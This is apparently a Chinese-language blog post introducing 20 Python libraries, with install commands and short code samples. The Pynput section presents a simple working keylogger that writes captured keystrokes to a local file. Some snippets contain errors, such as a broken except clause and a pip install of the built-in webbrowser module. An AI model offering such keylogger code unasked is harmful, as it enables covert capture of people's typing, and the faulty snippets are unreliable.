你必须尝试的20个 Python 库
点击上方“小白学视觉”,选择加"星标"或“置顶”
重磅干货,第一时间送达
推荐阅读
Python 是编程领域中最常用的编程语言之一,也是初学者的最佳选择之一。Python 吸引人们的地方在于它的简单性和易用的语法。是一个直译语言,所以它变得更容易发现代码中的错误。它是由 Guido van Rossum 开发的,并于1991年首次发布,从那时起,Python 开发者社区的人数与日俱增,人数众多。根据一些资源,python 有一个超过1000万人的社区。谷歌、亚马逊、 Facebook 等数十亿家公司都在使用它。
在过去的一年半里我一直在使用 Python,我最喜欢 Python 的地方是它的 One-Liners 和 Packages,这也是我选择 Python 而不是其他语言的原因。
在本博客中,我将向您介绍20个非常有用的 Python 库,您必须尝试它们。让我们开始吧。
1. Colorama
Colorama 是一个用来使你的终端看起来更好 Python 库,它可以用来给终端添加颜色。
安装:pip install colorama
示例
2. Pynput
此库用于控制鼠标和键盘等外部设备的瞬间。使用一些简单的代码行,我们可以使用库来控制键盘和鼠标。此库的最佳应用程序是使用它创建一个键盘记录程序。下面的代码解释了使用库的键盘记录器的实现。
安装:pip install Pynput
from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()
keys=[]
def on_press(key):
global keys
string = str(key).replace("'","")
keys.append(string)
main_string = "".join(keys)
print(main_string)
if len(main_string)>15:
with open('keys.txt', 'a') as f:
f.write(main_string)
keys= []
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
3. progress 和 tqdm
Progress:使用这个库,我们可以轻松地创建一个进度条。
安装:pip 安装进度
from progress.bar import Bar
bar = Bar('Loading', max=20)
for i in range(20):
# Any Task
bar.next()
bar.finish()
下面的动画显示了我们可以使用进度创建不同的条形图。
tqdm:它也做类似的工作,但是看起来更有效率,并且与现代编程保持同步。
安装:pip install tqdm
4. google trans
Googletrans 是一个免费的无限制的 python 库,它是 Google 翻译 API 的一个实现。使用这个库,只需要几行代码就可以创建一个语言翻译器。
安装:pip install googletrans
from googletrans import Translator , LANGUAGES
from googletrans.models import Translated
language = list(LANGUAGES.values())
translator = Translator()
translated=translator.translate(text="How are You??", src = 'english', dest = 'hindi')
print(translated)
您还可以进一步创建一个 GUI,将一种语言翻译成另一种语言。
5. google
谷歌库允许你搜索一个查询,找到相关的链接,并返回所有的链接。我们还可以自定义要返回的链接数量。
安装:pip install google
from googlesearch import search
query = 'what is machine learning?'
for j in search(query, tld="co.in", num=1, stop=5, pause=2): ## it will return a total of 5 links
print(j)
6. Pillow
Pillow 是一个用于图像处理的 python 库。它可以用来创建缩略图,转换文件格式,旋转,应用过滤器,显示图像,等等。如果您希望批量执行任务,那么它是一个理想的库。
安装:pip install pillow
为了快速了解这个库,下面是一些代码,您可以显示一个图像并将其更改为灰度。
from PIL import Image, ImageOps
img1 = Image.open("img.png") ## Load a imge
img1.show()
img2 = ImageOps.grayscale(img1) ## gray scale
img2.show()
原始图像向灰度的转换
7. wikipedia
Wikipedia 库允许我们通过 Python 脚本与 Wikipedia 进行交互。通过这个,我们可以在终端上搜索任何东西。
安装:pip install wikipedia
import wikipedia
query = 'Narendra Modi'
results = wikipedia.summary(query, sentences=2) ## change the number of sentence to get a larger words summary
print(results)
8. SpeechRecognition
SpeechRecognition 是一个用于识别语音并将其转换为文本的 Python 库。它在几个引擎和 api 的支持下识别语音。它甚至可以在离线模式下工作。
安装:pip install SpeechRecognition
下面的代码可以识别您的声音,将其转换成文本,然后在终端上打印出来。
import speech_recognition as sr
r = sr.Recognizer()
with sr.Microphone() as source:
t_end = time.time() + 5
while time.time() < t_end:
print("karl: Listening...")
audio=r.listen(source)
try:
query = r.recognize_google(audio)
print(f"user:{query}")
except"
print("Try Again")
9. IPython
这个库为我们提供了在终端、 Qt 控制台和通过 HTML 笔记本使用 IPython shell 的特性。这是木星笔记本的核心。你可以在这里找到完整的文档。下面我列出了一些 IPython 的特性。
全面的对象自省
输入历史记录,跨会话持久化
在使用自动生成的引用的会话期间缓存输出结果
可扩展选项卡完成,默认支持完成 Python 变量和关键字、文件名和函数关键字
可扩展的“magic”命令系统,用于控制环境和执行与 IPython 或操作系统相关的许多任务
会话日志记录和重载
针对特殊情况的可扩展语法处理
使用用户可扩展别名系统访问系统 shell
很容易嵌入到其他 Python 程序和 GUI 中
调试器和 Python 分析器的集成访问
10. wxpython
wxPython 是一个用于 python 的 GUI 工具包。它是许多计算机软件的强大包装器,可以在各种不同的平台上实现。它是一个跨平台的库。许多开发人员发现 wxPython 作为 Tkinter 的最佳替代品非常有效。
11. Poetry
这是一个简单易用的 Python 软件包。它允许您管理 Python 打包和项目的版本控制。虽然你的项目依赖于许多库,但是 Poetry 可以让你很容易地控制它们。
安装:pip install poetry
12. Pygame
Pygame 是许多 python 开发人员的最爱。它用于使用 Python 创建游戏。它是一个跨平台的库,几乎可以在每个平台上使用。尽管它是一个成熟的游戏引擎,但您也可以使用这个库直接从 Python 脚本播放 MP3文件。它由计算机图形学和声音库组成。
在 PyGame 上编写的游戏和应用程序与所有 SDL 支持的操作系统兼容。它们也可以在机器人和平板电脑上运行。
安装:pip install pygame
PyGame 有自己的网站 PyGame. org,其中包括教程和安装说明。
13. Text Blob
TextBlob 是一个用于处理文本数据的 Python 库。它提供了一个简单的 API,用于深入研究常见的自然语言处理(NLP)任务,如词性标注、名词短语提取、情感分析、分类、翻译等。
安装:pip install textblob
from textblob import TextBlob
testimonial = TextBlob("Textblob is amazingly simple to use. What great fun!")
testimonial.sentiment
14. OpenCV
OpenCV 是计算机视觉领域最受欢迎的库。它最初是用 C 和 C++ 编写的。现在也可以在 Python 中使用。它最初是由英特尔开发的。该库是一个跨平台的开源库。免费使用。OpenCV 是一个高度优化的库,主要关注实时应用程序。
安装:pip install opencv-python
15. win10 toast
它是一个易于使用的 Python 库,用于显示 Windows 10 Toast Notifications,这对于 Windows GUI 开发非常有用。
安装:pip install win10toast
应用:创建提醒应用程序
from win10toast import ToastNotifier
toaster = ToastNotifier()
header = 'Medium Article'
text = 'Its the correct time to start writing your article'
toaster.show_toast(f"{header}",f"{text}",duration=10,threaded=True)
while toaster.notification_active(): time.sleep(0.005)
16. playsound
顾名思义,这个库用于在 Python 中播放音频文件。
安装:pip install playsound
应用: 使用 Python 创建音乐播放器
from playsound import playsound
playsound('PATH_TO_AUDIO_FILE')
17. webbrowser
这个 Python 包用于与网络浏览器交互。它用于在用户从命令行给出的浏览器中打开不同的链接。
安装:pip install webbrowser
应用:自动化你的日常工作应用
import webbrowser
webbrowser.open("https://stackoverflow.com")
18. Python-dateutil
这个 Python 库是 Python datetime 模块的扩展,它提供了大量的特性和功能。
安装:pip install python-dateutil
from dateutil.relativedelta import *
from dateutil.easter import *
from dateutil.rrule import *
from dateutil.parser import *
from datetime import *
now = parse("Tue 11 17:13:46 Dec UTC 2020")
today = now.date()
year = rrule(YEARLY,dtstart=now,bymonth=8,bymonthday=13,byweekday=FR)[0].year
rdelta = relativedelta(easter(year), today)
print("Today is: %s" % today)
19. Setuptools
这个 Python 库是 Python 中所有库的父类,它用于在 Python 中创建库。
安装:pip install setuptools
20. pyfiglet
Pyfiglet Python 库用于在终端中编写时髦的文本。这是我在创建 CLI 应用程序时最喜欢使用的软件包之一。
安装:pip install pyfiglet
交流群
欢迎加入公众号读者群一起和同行交流,目前有SLAM、三维视觉、传感器、自动驾驶、计算摄影、检测、分割、识别、医学影像、GAN、算法竞赛等微信群(以后会逐渐细分),请扫描下面微信号加群,备注:”昵称+学校/公司+研究方向“,例如:”张三 + 上海交大 + 视觉SLAM“。请按照格式备注,否则不予通过。添加成功后会根据研究方向邀请进入相关微信群。请勿在群内发送广告,否则会请出群,谢谢理解~